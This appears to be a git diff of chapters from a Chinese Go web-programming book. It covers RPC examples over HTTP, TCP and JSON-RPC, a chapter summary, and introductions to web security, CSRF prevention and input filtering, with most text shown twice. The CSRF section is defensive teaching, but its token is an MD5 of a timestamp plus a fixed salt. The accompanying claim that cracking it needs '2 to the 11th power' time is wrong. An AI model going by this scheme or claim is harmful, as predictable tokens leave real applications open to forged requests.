if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
rpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
上面这个代码和http的服务器相比不同在于:在此处我们采用了TCP协议然后需要自己控制连接当有客户端连接上来后我们需要把这个连接交给rpc来处理。
如果你留心了你会发现这它是一个阻塞型的单用户的程序如果想要实现多并发那么可以使用goroutine来实现我们前面在socket小节的时候已经介绍过如何处理goroutine。
下面展现了TCP实现的RPC客户端
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
os.Exit(1)
}
service := os.Args[1]
client, err := rpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
这个客户端代码和http的客户端代码对比唯一的区别一个是DialHTTP一个是Dial(tcp),其他处理一模一样。
### JSON RPC
JSON RPC是数据编码采用了JSON而不是gob编码其他和上面介绍的RPC概念一模一样下面我们来演示一下如何使用Go提供的json-rpc标准包请看服务端代码的实现
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
jsonrpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
通过示例我们可以看出 json-rpc是基于TCP协议实现的目前它还不支持HTTP方式。
请看客户端的实现代码:
package main
import (
"fmt"
"log"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
log.Fatal(1)
}
service := os.Args[1]
client, err := jsonrpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
## 总结
Go已经提供了对RPC的良好支持通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持欣慰的是现在已经有第三方的开源实现了。
## links
* [目录](<preface.md>)
* 上一节: [REST](<08.3.md>)
* 下一节: [小结](<08.5.md>)
# 8.4 RPC
前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。
RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样然后客户端把这些参数打包之后通过网络传递到服务端服务端解包到处理过程中执行然后执行的结果反馈给客户端。
RPCRemote Procedure Call Protocol——远程过程调用协议是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。它假定某些传输协议的存在如TCP或UDP以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
## RPC工作原理
![](images/8.4.rpc.png?raw=true)
图8.8 RPC工作流程图
运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步:
- 1.调用客户端句柄;执行传送参数
- 2.调用本地系统内核发送网络消息
- 3.消息传送到远程主机
- 4.服务器句柄得到消息并取得参数
- 5.执行远程过程
- 6.执行的过程将结果返回服务器句柄
- 7.服务器句柄返回结果,调用远程系统内核
- 8.消息传回本地主机
- 9.客户句柄由内核接收消息
- 10.客户接收句柄返回的数据
## Go RPC
Go标准包中已经提供了对RPC的支持而且支持三个级别的RPCTCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC它和传统的RPC系统不同它只支持Go开发的服务器与客户端之间的交互因为在内部它们采用了Gob来编码。
Go RPC的函数只有符合下面的条件才能被远程访问不然会被忽略详细的要求如下
- 函数必须是导出的(首字母大写)
- 必须有两个导出类型的参数,
- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的
- 函数还要有一个返回值error
举个例子正确的RPC函数格式如下
func (t *T) MethodName(argType T1, replyType *T2) error
T、T1和T2类型必须能被`encoding/gob`包编解码。
任何的RPC都需要通过网络来传递数据Go RPC可以利用HTTP和TCP来传递数据利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现
### HTTP RPC
http的服务端代码实现如下
package main
import (
"errors"
"fmt"
"net/http"
"net/rpc"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
rpc.HandleHTTP()
err := http.ListenAndServe(":1234", nil)
if err != nil {
fmt.Println(err.Error())
}
}
通过上面的例子可以看到我们注册了一个Arith的RPC服务然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上然后我们就可以利用http的方式来传递数据了。
请看下面的客户端代码:
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server")
os.Exit(1)
}
serverAddress := os.Args[1]
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息:
$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1
通过上面的调用可以看到参数和返回值是我们定义的struct类型在服务端我们把它们当做调用函数的参数的类型在客户端作为`client.Call`的第23两个参数的类型。客户端最重要的就是这个Call函数它有3个参数第1个要调用的函数的名字第2个是要传递的参数第3个要返回的参数(注意是指针类型)通过上面的代码例子我们可以发现使用Go的RPC实现相当的简单方便。
### TCP RPC
上面我们实现了基于HTTP协议的RPC接下来我们要实现基于TCP协议的RPC服务端的实现代码如下所示
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
rpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
上面这个代码和http的服务器相比不同在于:在此处我们采用了TCP协议然后需要自己控制连接当有客户端连接上来后我们需要把这个连接交给rpc来处理。
如果你留心了你会发现这它是一个阻塞型的单用户的程序如果想要实现多并发那么可以使用goroutine来实现我们前面在socket小节的时候已经介绍过如何处理goroutine。
下面展现了TCP实现的RPC客户端
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
os.Exit(1)
}
service := os.Args[1]
client, err := rpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
这个客户端代码和http的客户端代码对比唯一的区别一个是DialHTTP一个是Dial(tcp),其他处理一模一样。
### JSON RPC
JSON RPC是数据编码采用了JSON而不是gob编码其他和上面介绍的RPC概念一模一样下面我们来演示一下如何使用Go提供的json-rpc标准包请看服务端代码的实现
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
jsonrpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
通过示例我们可以看出 json-rpc是基于TCP协议实现的目前它还不支持HTTP方式。
请看客户端的实现代码:
package main
import (
"fmt"
"log"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
log.Fatal(1)
}
service := os.Args[1]
client, err := jsonrpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
## 总结
Go已经提供了对RPC的良好支持通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持欣慰的是现在已经有第三方的开源实现了。
## links
* [目录](<preface.md>)
* 上一节: [REST](<08.3.md>)
* 下一节: [小结](<08.5.md>)

12
08.5.md → ebook/08.5.md Executable file → Normal file
View File

@@ -1,6 +1,6 @@
# 8.5 小结
这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程因为现在网络正在朝云的方向快速进化作为这一技术演进的基石的的socket知识作为开发者的你是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket通过它,服务器可以实现主动的push消息以简化以前ajax轮询的模式。第三小节介绍了REST编写模式这种模式特别适合来开发网络应用API目前移动应用的快速发展我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识对于上面四种开发方式Go都已经提供了良好的支持net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。
## links
* [目录](<preface.md>)
* 上一节: [RPC](<08.4.md>)
* 下一章: [安全与加密](<09.0.md>)
# 8.5 小结
这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程因为现在网络正在朝云的方向快速进化作为这一技术演进的基石的的socket知识作为开发者的你是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket通过它,服务器可以实现主动的push消息以简化以前ajax轮询的模式。第三小节介绍了REST编写模式这种模式特别适合来开发网络应用API目前移动应用的快速发展我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识对于上面四种开发方式Go都已经提供了良好的支持net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。
## links
* [目录](<preface.md>)
* 上一节: [RPC](<08.4.md>)
* 下一章: [安全与加密](<09.0.md>)

40
09.0.md → ebook/09.0.md Executable file → Normal file
View File

@@ -1,20 +1,20 @@
# 9 安全与加密
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件更是让我们对Web安全这个话题更加重视所有人都谈密码色变都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者一定也需要知道我们的应用程序随时会成为众多攻击者的目标并提前做好防范的准备。
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询那么就可能造成SQL注入问题我们将会在9.3、9.4小节介绍如何避免这些问题。
在使用第三方提供的数据包括用户提供的数据时首先检验这些数据的合法性非常重要这个过程叫做过滤我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。
过滤输入和转义输出并不能解决所有的安全问题我们将会在9.1讲解的CSRF攻击会导致受骗者发送攻击者指定的请求从而造成一些破坏。
与安全加密相关的能够增强我们的Web应用程序的强大手段就是加密CSDN泄密事件就是因为密码保存的是明文使得攻击拿手库之后就可以直接实施一些破坏行为了。不过和其他工具一样加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。
加密的本质就是扰乱数据某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。
## 目录
![](images/navi9.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第八章总结](<08.5.md>)
* 下一节: [预防CSRF攻击](<09.1.md>)
# 9 安全与加密
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件更是让我们对Web安全这个话题更加重视所有人都谈密码色变都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者一定也需要知道我们的应用程序随时会成为众多攻击者的目标并提前做好防范的准备。
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询那么就可能造成SQL注入问题我们将会在9.3、9.4小节介绍如何避免这些问题。
在使用第三方提供的数据包括用户提供的数据时首先检验这些数据的合法性非常重要这个过程叫做过滤我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。
过滤输入和转义输出并不能解决所有的安全问题我们将会在9.1讲解的CSRF攻击会导致受骗者发送攻击者指定的请求从而造成一些破坏。
与安全加密相关的能够增强我们的Web应用程序的强大手段就是加密CSDN泄密事件就是因为密码保存的是明文使得攻击拿手库之后就可以直接实施一些破坏行为了。不过和其他工具一样加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。
加密的本质就是扰乱数据某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。
## 目录
![](images/navi9.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第八章总结](<08.5.md>)
* 下一节: [预防CSRF攻击](<09.1.md>)

186
09.1.md → ebook/09.1.md Executable file → Normal file
View File

@@ -1,93 +1,93 @@
# 9.1 预防CSRF攻击
## 什么是CSRF
CSRFCross-site request forgery中文名称跨站请求伪造也被称为one click attack/session riding缩写为CSRF/XSRF。
那么CSRF到底能够干嘛呢你可以这样简单的理解攻击者可以盗用你的登陆信息以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨)攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如当用户登录网络银行去查看其存款余额在他没有退出时就点击了一个QQ好友发来的链接那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
所以遇到CSRF攻击时将对终端用户的数据和操作指令构成严重的威胁当受攻击的终端用户具有管理员帐户的时候CSRF攻击将危及整个Web应用程序。
## CSRF的原理
下图简单阐述了CSRF攻击的思想
![](images/9.1.csrf.png?raw=true)
图9.1 CSRF的攻击过程
从上图可以看出要完成一次CSRF攻击受害者必须依次完成两个步骤
- 1.登录受信任网站A并在本地生成Cookie 。
- 2.在不退出A的情况下访问危险网站B。
看到这里读者也许会问“如果我不满足以上两个条件中的任意一个就不会受到CSRF的攻击”。是的确实如此但你不能保证以下情况不会发生
- 你不能保证你登录了一个网站后不再打开一个tab页面并访问另外的网站特别现在浏览器都是支持多tab的。
- 你不能保证你关闭浏览器了后你本地的Cookie立刻过期你上次的会话已经结束。
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作所以随时可能成为CSRF的受害者。
CSRF攻击主要是因为Web的隐式身份验证机制Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器但却无法保证该请求是用户批准发送的。
## 如何预防CSRF
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
CSRF的防御可以从服务端和客户端两方面着手防御效果是从服务端着手效果比较好现在一般的CSRF防御也都在服务端进行。
服务端的预防CSRF攻击的方式方法有多种但思想上都是差不多的主要从以下2个方面入手
- 1、正确使用GET,POST和Cookie
- 2、在非GET请求中增加伪随机数
我们上一章介绍过REST方式的Web应用一般而言普通的Web应用都是以GET、POST为主还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用
1、GET常用在查看列举展示等不需要改变资源属性的时候
2、POST常用在下达订单改变一个资源的属性或者做其他一些事情
接下来我就以Go语言来举例说明如何限制对资源的访问方法
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
这样处理后因为我们限定了修改只能使用POST当GET方式请求时就拒绝响应所以上面图示中GET方式的CSRF攻击就可以防止了但这样就能全部解决问题了吗当然不是因为POST也是可以模拟的。
因此我们需要实施第二步在非GET方式的请求中增加随机数这个大概有三种方式来进行
- 为每个用户生成一个唯一的cookie token所有表单都包含同一个伪随机值这种方案最简单因为攻击者不能获得第三方的Cookie(理论上)所以表单中的数据也就构造失败但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取所以这个方案必须要在没有XSS的情况下才安全。
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
- 不同的表单包含一个不同的伪随机值我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下:
生成随机数token
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
输出token
<input type="hidden" name="token" value="{{.}}">
验证token
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
这样基本就实现了安全的POST但是也许你会说如果破解了token的算法呢按照理论上是但是实际上破解是基本不可能的因为有人曾计算过暴力破解该串大概需要2的11次方时间。
## 总结
跨站请求伪造即CSRF是一种非常危险的Web安全威胁它被Web安全界称为“沉睡的巨人”其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍还详细说明造成这种漏洞的原因所在然后以此提了一些防范该攻击的建议希望对读者编写安全的Web应用能够有所启发。
## links
* [目录](<preface.md>)
* 上一节: [安全与加密](<09.0.md>)
* 下一节: [确保输入过滤](<09.2.md>)
# 9.1 预防CSRF攻击
## 什么是CSRF
CSRFCross-site request forgery中文名称跨站请求伪造也被称为one click attack/session riding缩写为CSRF/XSRF。
那么CSRF到底能够干嘛呢你可以这样简单的理解攻击者可以盗用你的登陆信息以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨)攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如当用户登录网络银行去查看其存款余额在他没有退出时就点击了一个QQ好友发来的链接那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
所以遇到CSRF攻击时将对终端用户的数据和操作指令构成严重的威胁当受攻击的终端用户具有管理员帐户的时候CSRF攻击将危及整个Web应用程序。
## CSRF的原理
下图简单阐述了CSRF攻击的思想
![](images/9.1.csrf.png?raw=true)
图9.1 CSRF的攻击过程
从上图可以看出要完成一次CSRF攻击受害者必须依次完成两个步骤
- 1.登录受信任网站A并在本地生成Cookie 。
- 2.在不退出A的情况下访问危险网站B。
看到这里读者也许会问“如果我不满足以上两个条件中的任意一个就不会受到CSRF的攻击”。是的确实如此但你不能保证以下情况不会发生
- 你不能保证你登录了一个网站后不再打开一个tab页面并访问另外的网站特别现在浏览器都是支持多tab的。
- 你不能保证你关闭浏览器了后你本地的Cookie立刻过期你上次的会话已经结束。
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作所以随时可能成为CSRF的受害者。
CSRF攻击主要是因为Web的隐式身份验证机制Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器但却无法保证该请求是用户批准发送的。
## 如何预防CSRF
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
CSRF的防御可以从服务端和客户端两方面着手防御效果是从服务端着手效果比较好现在一般的CSRF防御也都在服务端进行。
服务端的预防CSRF攻击的方式方法有多种但思想上都是差不多的主要从以下2个方面入手
- 1、正确使用GET,POST和Cookie
- 2、在非GET请求中增加伪随机数
我们上一章介绍过REST方式的Web应用一般而言普通的Web应用都是以GET、POST为主还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用
1、GET常用在查看列举展示等不需要改变资源属性的时候
2、POST常用在下达订单改变一个资源的属性或者做其他一些事情
接下来我就以Go语言来举例说明如何限制对资源的访问方法
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
这样处理后因为我们限定了修改只能使用POST当GET方式请求时就拒绝响应所以上面图示中GET方式的CSRF攻击就可以防止了但这样就能全部解决问题了吗当然不是因为POST也是可以模拟的。
因此我们需要实施第二步在非GET方式的请求中增加随机数这个大概有三种方式来进行
- 为每个用户生成一个唯一的cookie token所有表单都包含同一个伪随机值这种方案最简单因为攻击者不能获得第三方的Cookie(理论上)所以表单中的数据也就构造失败但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取所以这个方案必须要在没有XSS的情况下才安全。
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
- 不同的表单包含一个不同的伪随机值我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下:
生成随机数token
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
输出token
<input type="hidden" name="token" value="{{.}}">
验证token
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
这样基本就实现了安全的POST但是也许你会说如果破解了token的算法呢按照理论上是但是实际上破解是基本不可能的因为有人曾计算过暴力破解该串大概需要2的11次方时间。
## 总结
跨站请求伪造即CSRF是一种非常危险的Web安全威胁它被Web安全界称为“沉睡的巨人”其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍还详细说明造成这种漏洞的原因所在然后以此提了一些防范该攻击的建议希望对读者编写安全的Web应用能够有所启发。
## links
* [目录](<preface.md>)
* 上一节: [安全与加密](<09.0.md>)
* 下一节: [确保输入过滤](<09.2.md>)

144
09.2.md → ebook/09.2.md Executable file → Normal file
View File

@@ -1,72 +1,72 @@
# 9.2 确保输入过滤
过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
我们介绍的过滤数据分成三个步骤:
- 1、识别数据搞清楚需要过滤的数据来自于哪里
- 2、过滤数据弄明白我们需要什么样的数据
- 3、区分已过滤及被污染数据如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据
## 识别数据
“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。
由用户输入的数据我们通过Go非常容易识别Go通过`r.ParseForm`之后把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)
## 过滤数据
在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。
过滤数据有很多种方法其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子“最近建设银行系统升级之后如果密码后面两位是0只要输入前面四位就能登录系统”这是一个非常严重的漏洞。
过滤数据主要采用如下一些库来操作:
- strconv包下面的字符串转化相关函数因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi``ParseBool``ParseFloat``ParseInt`等函数就可以派上用场了。
- string包下面的一些过滤函数`Trim``ToLower``ToTitle`等函数,能够帮助我们按照指定的格式获取信息。
- regexp包用来处理一些复杂的需求例如判定输入是否是Email、生日之类。
过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。
## 区分过滤数据
如果完成了上面的两步数据过滤的工作就基本完成了但是在编写Web应用的时候我们还需要区分已过滤和被污染数据因为这样可以保证过滤数据的完整性而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入:
- 每个请求都要初始化CleanMap为一个空Map。
- 加入检查及阻止来自外部数据源的变量命名为CleanMap。
接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单
<form action="/whoami" method="POST">
我是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
在处理这个表单的编程逻辑中非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
